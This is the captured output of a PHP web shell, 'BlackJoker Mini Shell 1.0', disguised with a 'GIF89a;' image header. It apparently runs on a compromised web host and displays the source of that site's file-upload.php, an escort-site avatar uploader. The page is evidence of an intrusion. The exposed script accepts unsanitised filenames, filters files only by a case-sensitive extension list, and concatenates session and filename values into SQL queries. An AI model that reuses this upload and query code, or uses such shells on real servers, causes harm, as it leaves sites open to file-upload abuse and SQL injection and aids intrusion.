GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/
Upload File :
Current File : /home/serb/public_html/file-upload.php

<?php
 session_start();
 include("lib/globals.php");
 include("lib/common.php");
 include("lib/functions.php");
 include"lib/SimpleImage.php";

$upload_dir = 'avtar';  
 
if (!empty($_FILES)) {
	
	 $allowed =  array('gif','png' ,'jpg','jpeg');
	$filename = $_FILES['file']['name'];
	$ext = pathinfo($filename, PATHINFO_EXTENSION);
	if(!in_array($ext,$allowed) ) {
		?>
		<script language="javascript">
            alert('Error');
            location.href="escortimages.php";
        </script>
    <? 	
		
	}
	else
	{
	
	
     
    $tempFile = $_FILES['file']['tmp_name'];                    
      // using DIRECTORY_SEPARATOR constant is a good practice, it makes your code portable.
    $targetPath = dirname( __FILE__ ) . DIRECTORY_SEPARATOR . $upload_dir . DIRECTORY_SEPARATOR;  
     // Adding timestamp with image's name so that files with same name can be uploaded easily.
    $mainFile =  $targetPath.time().'-'. $_FILES['file']['name'];  
	 $actual_image_name=time().'-'. $_FILES['file']['name'];
    move_uploaded_file($tempFile,$mainFile);
	
	$image1= new SimpleImage();
	$image1->load('avtar/'.$actual_image_name);
	$image1->resizeToWidth(100);
	$image1->resizeToHeight(120);
	$image1->save('thumbs_pic/'.$actual_image_name);
	
	$image2= new SimpleImage();
	$image2->load('avtar/'.$actual_image_name);
	$image2->resizeToWidth(250);
	$image2->resizeToHeight(350);
	$image2->save('thubigg/'.$actual_image_name);
	
	$sql_postid="SELECT * FROM escort_details WHERE user_id='".$_SESSION['userid']."'";
	$res_postid=execute_query($sql_postid);
	$row_postid=mysql_fetch_array($res_postid);
	$pid=$row_postid['id'];
	
	$sql_q="INSERT INTO escort_photo(id,postid,userid,picture)VALUES('','$pid','".$_SESSION['userid']."','$actual_image_name')";
	execute_query($sql_q);
	}

}
?> 

./BlackJoker Mini Shell 1.0